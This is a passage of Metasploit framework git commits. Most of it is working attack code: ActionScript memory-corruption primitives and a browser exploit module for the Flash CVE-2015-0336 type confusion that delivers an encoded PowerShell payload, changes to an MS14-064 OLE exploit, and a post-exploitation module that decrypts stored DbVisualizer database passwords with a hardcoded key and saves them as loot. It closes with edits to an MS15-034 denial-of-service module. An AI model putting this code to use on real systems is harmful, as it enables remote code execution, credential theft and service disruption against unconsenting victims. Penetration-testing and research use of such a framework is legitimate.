to use the corrupted byte array for arbitrary reading/writing - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - // Methods to search the memory with the corrupted byte array - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) - var i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); - if (dll_name == name.toUpperCase()) { - break; - } - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } - } -} diff --git a/external/source/exploits/CVE-2015-0336/PE.as b/external/source/exploits/CVE-2015-0336/PE.as new file mode 100644 index 0000000000..a80ade9321 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/PE.as @@ -0,0 +1,63 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16)) + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj new file mode 100755 index 0000000000..579960bd86 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/TriggerLinux.as2proj @@ -0,0 +1,60 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as new file mode 100755 index 0000000000..8dbada53c8 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/TriggerLinux/src/Main.as @@ -0,0 +1,18 @@ +// Build with FlashDevelop, its command line is: +// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library" +class Main +{ + public static function main(swfRoot:MovieClip):Void + { + var _loc2_ = _global.ASnative(2100, 0x956c2000); + var _loc3_ = new Object(); + _loc2_.__proto__ = _loc3_; + _global.ASnative(2100, 200)(_loc3_); //Netconnection constructor + _global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID + } + + public function Main() + { + } + +} \ No newline at end of file diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb new file mode 100644 index 0000000000..04360a9b08 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -0,0 +1,167 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player NetConnection Type Confusion', + 'Description' => %q{ + This module exploits a type confusion vulnerability in the NetConnection class on + Adobe Flash Player. When using a correct memory layout this vulnerability allows + to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like + vectors, and finally accomplish remote code execution. This module has been tested + successfully on: + * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 + * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Adobe Flash 11.2.202.404 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit + 'Unknown', # Exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-0336'], + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], + ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], + ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], + ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'unix'], + 'Arch' => [ARCH_X86, ARCH_CMD], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.442') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 12 2015', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + @trigger = create_trigger + + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + + if target.name =~ /Windows/ + target_payload = get_payload(cli, target_info) + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) + b64_payload = Rex::Text.encode_base64(psh_payload) + platform_id = 'win' + elsif target.name =~ /Linux/ + target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) + b64_payload = Rex::Text.encode_base64(target_payload) + platform_id = 'linux' + end + + trigger_hex_stream = @trigger.unpack('H*')[0] + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + + def create_trigger + if target.name =~ /Linux/ + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf') + else + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') + end + + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end +end diff --git a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb index 9d5fb19f54..3bcb6a7130 100644 --- a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion') def initialize(info={}) super(update_info(info, From 53774fed567badef5b2e0d932c07e425ea286ecd Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 18:01:40 -0500 Subject: [PATCH 0209/1013] Be more strict with Win 7 for MS14-064 The Powershell prompt can cause BAP to hang so we need to be more strict about that. --- .../windows/browser/ms14_064_ole_code_execution.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index f865093f34..aa0dd4bdd8 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -56,9 +56,9 @@ class Metasploit4 < Msf::Exploit::Remote } ], [ - 'Other Windows x86', + 'Windows 7 SP1', { - 'os_name' => OperatingSystems::Match::WINDOWS, + 'os_name' => OperatingSystems::Match::WINDOWS_7 } ] ], @@ -358,6 +358,11 @@ end function end def on_request_exploit(cli, request, target_info) + if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt'] + send_not_found(cli) + return + end + case request.uri when /\.gif/ if get_target.name =~ OperatingSystems::Match::WINDOWS_XP From d43706b65e986e124fb938f3dc5c7aa5daaf8098 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 18:04:35 -0500 Subject: [PATCH 0210/1013] It doesn't look like Vista shows the powershell prompt --- .../windows/browser/ms14_064_ole_code_execution.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index aa0dd4bdd8..3558ab2bda 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -56,7 +56,13 @@ class Metasploit4 < Msf::Exploit::Remote } ], [ - 'Windows 7 SP1', + 'Windows Vista', + { + 'os_name' => OperatingSystems::Match::WINDOWS_VISTA + } + ], + [ + 'Windows 7', { 'os_name' => OperatingSystems::Match::WINDOWS_7 } From 4f0e908c8b3f2ff3a0e54b683e7e1793f69d216c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 18:08:58 -0500 Subject: [PATCH 0211/1013] Never mind, Vista doesn't have powershell. --- .../exploits/windows/browser/ms14_064_ole_code_execution.rb | 6 ------ 1 file changed, 6 deletions(-) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 3558ab2bda..248f1b8f53 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -55,12 +55,6 @@ class Metasploit4 < Msf::Exploit::Remote 'os_name' => OperatingSystems::Match::WINDOWS_XP } ], - [ - 'Windows Vista', - { - 'os_name' => OperatingSystems::Match::WINDOWS_VISTA - } - ], [ 'Windows 7', { From bcdae5fa1a067c8646022a809cdfde5990c21662 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 18:12:38 -0500 Subject: [PATCH 0212/1013] Forgot to add the datastore option --- modules/exploits/windows/browser/ms14_064_ole_code_execution.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 248f1b8f53..3d2685d75a 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -84,6 +84,7 @@ class Metasploit4 < Msf::Exploit::Remote register_options( [ OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), + OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false]) ], self.class ) end From 583fccdbc8243ebf82db6abf1874d63ad66931b4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 27 May 2015 18:28:08 -0500 Subject: [PATCH 0213/1013] Resolve #5404, Check payload compatibility when using set payload Resolve #5404. This patch will check payload compatibility when you are using set payload in msfconsole. --- lib/msf/ui/console/driver.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 922d3c384c..de7dd7f2e7 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -571,6 +571,8 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false + elsif active_module.type == 'exploit' && !is_payload_compatible?(active_module, val) + return false elsif (active_module) active_module.datastore.clear_non_user_defined elsif (framework) @@ -589,6 +591,15 @@ class Driver < Msf::Ui::Driver end end + + def is_payload_compatible?(m, payload_name) + m.compatible_payloads.each do |k| + return true if k[0] == payload_name + end + + false + end + # # Called when a variable is unset. If this routine returns false it is an # indication that the variable should not be allowed to be unset. From 1ab49397a24f25e4df5ce5f0fdf386c70269df7c Mon Sep 17 00:00:00 2001 From: root Date: Thu, 28 May 2015 10:21:00 +0500 Subject: [PATCH 0214/1013] Decrypt encrypted passwords --- modules/post/multi/gather/dbvis_enum.rb | 135 +++++++++++++++--------- 1 file changed, 85 insertions(+), 50 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index b44eee8ffb..3f8d7d3198 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'msf/core/auxiliary/report' +require 'openssl' +require 'digest/md5' class Metasploit3 < Msf::Post @@ -17,7 +19,7 @@ class Metasploit3 < Msf::Post 'Name' => 'Multi Gather DbVisualizer Connections Settings', 'Description' => %q{ DbVisualizer stores the user database configuration in dbvis.xml. - This module retrieves the connections settings from this file. + This module retrieves the connections settings from this file and decrypts the encrypted passwords. }, 'License' => MSF_LICENSE, 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 @@ -28,14 +30,13 @@ class Metasploit3 < Msf::Post def run - oldversion = false case session.platform when /linux/ - user = session.shell_command("whoami").chomp + user = session.shell_command('whoami').chomp print_status("Current user is #{user}") - if (user =~ /root/) + if user =~ /root/ user_base = "/root/" else user_base = "/home/#{user}/" @@ -50,11 +51,10 @@ class Metasploit3 < Msf::Post dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml" end - unless file?(dbvis_file) # File not found, we next try with the old config path print_status("File not found: #{dbvis_file}") - print_status("This could be an older version of dbvis, trying old path") + print_status('This could be an older version of dbvis, trying old path') case session.platform when /linux/ dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" @@ -68,7 +68,6 @@ class Metasploit3 < Msf::Post oldversion = true end - print_status("Reading: #{dbvis_file}") print_line() raw_xml = "" @@ -89,20 +88,14 @@ class Metasploit3 < Msf::Post end if db_table.rows.empty? - print_status("No database settings found") + print_status('No database settings found') else - print_line("\n") + print_line print_line(db_table.to_s) - print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun !") + print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection -sql and have fun!') print_line() - # store found databases - p = store_loot( - "dbvis.databases", - "text/csv", - session, - db_table.to_csv, - "dbvis_databases.txt", - "dbvis databases") + # Store found databases in loot + p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases') print_good("Databases settings stored in: #{p.to_s}") end @@ -111,12 +104,11 @@ class Metasploit3 < Msf::Post print_good "dbvis.xml saved to #{p.to_s}" end - # New config file parse function def parse_new_config_file(raw_xml) db_table = Rex::Ui::Text::Table.new( - 'Header' => "Dbvis Databases", + 'Header' => "DbVisualizer Databases", 'Indent' => 2, 'Columns' => [ @@ -127,17 +119,18 @@ class Metasploit3 < Msf::Post "Database", "Namespace", "Userid", + "Password" ]) dbs = [] db = {} dbfound = false - versionFound = false + version_found = false # fetch config file raw_xml.each_line do |line| - if versionFound == false - vesrionFound = find_version(line) + if version_found == false + version_found = find_version(line) end if line =~ /([\S+\s+]+)<\/Alias>/i) + if line =~ /([\S+\s+]+)<\/Alias>/i db[:Alias] = $1 end # get the type - if (line =~ /([\S+\s+]+)<\/Type>/i) + if line =~ /([\S+\s+]+)<\/Type>/i db[:Type] = $1 end # get the user - if (line =~ /([\S+\s+]+)<\/Userid>/i) + if line =~ /([\S+\s+]+)<\/Userid>/i db[:Userid] = $1 end + # get user password + if line =~ /([\S+\s+]+)<\/Password>/i + enc_password = $1 + db[:Password] = decrypt_password(enc_password) + end + # get the server - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Server] = $1 end # get the port - if (line =~ /([\S+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Port] = $1 end # get the database - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Database] = $1 end # get the Namespace - if (line =~ /([\S+\s+]+)<\/UrlVariable>/i) + if line =~ /([\S+\s+]+)<\/UrlVariable>/i db[:Namespace] = $1 end end @@ -196,40 +195,40 @@ class Metasploit3 < Msf::Post # Fill the tab and report eligible servers dbs.each do |db| if ::Rex::Socket.is_ipv4?(db[:Server].to_s) - print_good("Reporting #{db[:Server]} ") + print_good("Reporting #{db[:Server]}") report_host(:host => db[:Server]); end - db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]] end return db_table end - # New config file parse function def parse_old_config_file(raw_xml) db_table = Rex::Ui::Text::Table.new( - 'Header' => "Dbvis Databases", + 'Header' => 'DbVisualizer Databases', 'Indent' => 2, 'Columns' => [ - "Alias", - "Type", - "Url", - "Userid", + 'Alias', + 'Type', + 'URL', + 'UserID', + 'Password' ]) dbs = [] db = {} dbfound = false - versionFound = false + version_found = false # fetch config file raw_xml.each_line do |line| - if versionFound == false - vesrionFound = find_version(line) + if version_found == false + vesrion_found = find_version(line) end if line =~ /([\S+\s+]+)<\/Alias>/i) + if line =~ /([\S+\s+]+)<\/Alias>/i db[:Alias] = $1 end # get the type - if (line =~ /([\S+\s+]+)<\/Type>/i) + if line =~ /([\S+\s+]+)<\/Type>/i db[:Type] = $1 end # get the user - if (line =~ /([\S+\s+]+)<\/Userid>/i) + if line =~ /([\S+\s+]+)<\/Userid>/i db[:Userid] = $1 end - # get the user - if (line =~ /([\S+\s+]+)<\/Url>/i) + #get the user password + if line =~ /([\S+\s+]+)<\/Password>/i + enc_password = $1 + db[:Password] = decrypt_password(enc_password) + end + + # get the server URL + if line =~ /(\S+)<\/Url>/i db[:Url] = $1 end + end end @@ -277,14 +283,43 @@ class Metasploit3 < Msf::Post return db_table end - def find_version(tag) found = false - if (tag =~ /([\S+\s+]+)<\/Version>/i) - print_good("DbVisualizer version : #{$1}") + if tag =~ /([\S+\s+]+)<\/Version>/i found = true + print_good("DbVisualizer version: #{$1}") end - return found + found + end + + def decrypt_password(enc_password) + enc_password = Rex::Text.decode_base64(enc_password) + dk, iv = get_derived_key + des = OpenSSL::Cipher.new('DES-CBC') + des.key = dk + des.iv = iv + + des.update(enc_password) + end + + def get_derived_key + key = passphrase + salt + iteration_count.times do + key = Digest::MD5.digest(key) + end + return key[0,8], key[8,8] + end + + def salt + [-114,18,57,-100,7,114,111,90].pack('C*') + end + + def passphrase + 'qinda' + end + + def iteration_count + 10 end end From 2756c7375e436b7da1007cd2d77b74daade80863 Mon Sep 17 00:00:00 2001 From: root Date: Thu, 28 May 2015 10:58:36 +0500 Subject: [PATCH 0215/1013] Add datastore options --- modules/post/multi/gather/dbvis_enum.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 3f8d7d3198..74bea5de13 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -26,6 +26,11 @@ class Metasploit3 < Msf::Post 'Platform' => %w{ linux win }, 'SessionTypes' => [ 'meterpreter', 'shell'] )) + register_options( + [ + OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']), + OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10]) + ], super.class) end def run @@ -315,11 +320,11 @@ class Metasploit3 < Msf::Post end def passphrase - 'qinda' + datastore['PASSPHRASE'] || 'qinda' end def iteration_count - 10 + datastore['ITERATION_COUNT'] || 10 end end From 447c4ee7df613eef5f56eb4e95757d0366e1d9bc Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 09:30:04 +0100 Subject: [PATCH 0216/1013] =?UTF-8?q?Allows=20the=20target=C3=A8uri=20to?= =?UTF-8?q?=20be=20shared=20between=20the=20#check=20and=20#dos?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 7aa1d270e6..354995434d 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -64,6 +64,11 @@ class Metasploit3 < Msf::Auxiliary end end + # Needed to allow the vulnerable uri to be shared between the #check and #dos + def target_uri + @target_uri ||= super + end + def get_file_size(ip) @file_size ||= lambda { file_size = -1 From 6d01d7f986cd0719558d44a0d4406b1c3b45c858 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 09:32:05 +0100 Subject: [PATCH 0217/1013] Uses peer instead of ip:port across all the module --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 354995434d..55265f2602 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary if check_host(ip) == Exploit::CheckCode::Vulnerable dos_host(ip) else - print_status("#{ip}:#{rport} - Probably not vulnerable, will not dos it.") + print_status("#{peer} - Probably not vulnerable, will not dos it.") end end @@ -76,17 +76,17 @@ class Metasploit3 < Msf::Auxiliary res = send_request_raw('uri' => uri) unless res - vprint_error("#{ip}:#{rport} - Connection timed out") + vprint_error("#{peer} - Connection timed out") return file_size end if res.code == 404 - vprint_error("#{ip}:#{rport} - You got a 404. URI must be a valid resource.") + vprint_error("#{peer} - You got a 404. URI must be a valid resource.") return file_size end file_size = res.body.length - vprint_status("#{ip}:#{rport} - File length: #{file_size} bytes") + vprint_status("#{peer} - File length: #{file_size} bytes") return file_size }.call @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary rescue ::Errno::EPIPE, ::Timeout::Error # Same exceptions the HttpClient mixin catches end - print_status("#{ip}:#{rport} - DOS request sent") + print_status("#{peer} - DOS request sent") end def potential_static_files_uris From a74c3372c0dda4b66819e7a4da3fe4a76924594e Mon Sep 17 00:00:00 2001 From: erwanlr Date: Thu, 28 May 2015 15:46:51 +0100 Subject: [PATCH 0218/1013] Uses vprint instead of print in #check_host --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 55265f2602..5cd2e640cd 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Auxiliary vmessage = "#{peer} - Checking #{uri} [#{res.code}]" if res && res.body.include?('Requested Range Not Satisfiable') - print_status("#{peer} - #{uri} is vulnerable") + vprint_status("#{vmessage} - Vulnerable") target_uri.path = uri # Needed for the DoS attack From 666b0bc34a4cbe6b06e851174f0e0bcbf7f67edc Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Thu, 28 May 2015 18:50:48 +0200 Subject: [PATCH 0219/1013] MIPSBE vs MIPS --- modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb index 28aa2c61a3..b6bdb4e24d 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ], ], From 818dbf58f0839052baa25a8720ea66043e728461 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 28 May 2015 14:37:39 -0500 Subject: [PATCH 0220/1013] Adding an OSVDB number to the Netgear module --- modules/auxiliary/admin/http/netgear_soap_password_extractor.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb index f97ae71ee2..9158af9b7e 100644 --- a/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb +++ b/modules/auxiliary/admin/http/netgear_soap_password_extractor.rb @@ -31,6 +31,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'BID', '72640' ], + [ 'OSVDB', '118316' ], [ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ] ], 'Author' => From f9f35db7f33ee235e0dd51949a2ec736db633c60 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 14:52:03 -0500 Subject: [PATCH 0221/1013] Update description --- modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 5cd2e640cd..b69b8872f1 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -19,10 +19,6 @@ class Metasploit3 < Msf::Auxiliary This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a vulnerability in the HTTP protocol stack (HTTP.sys) that could result in 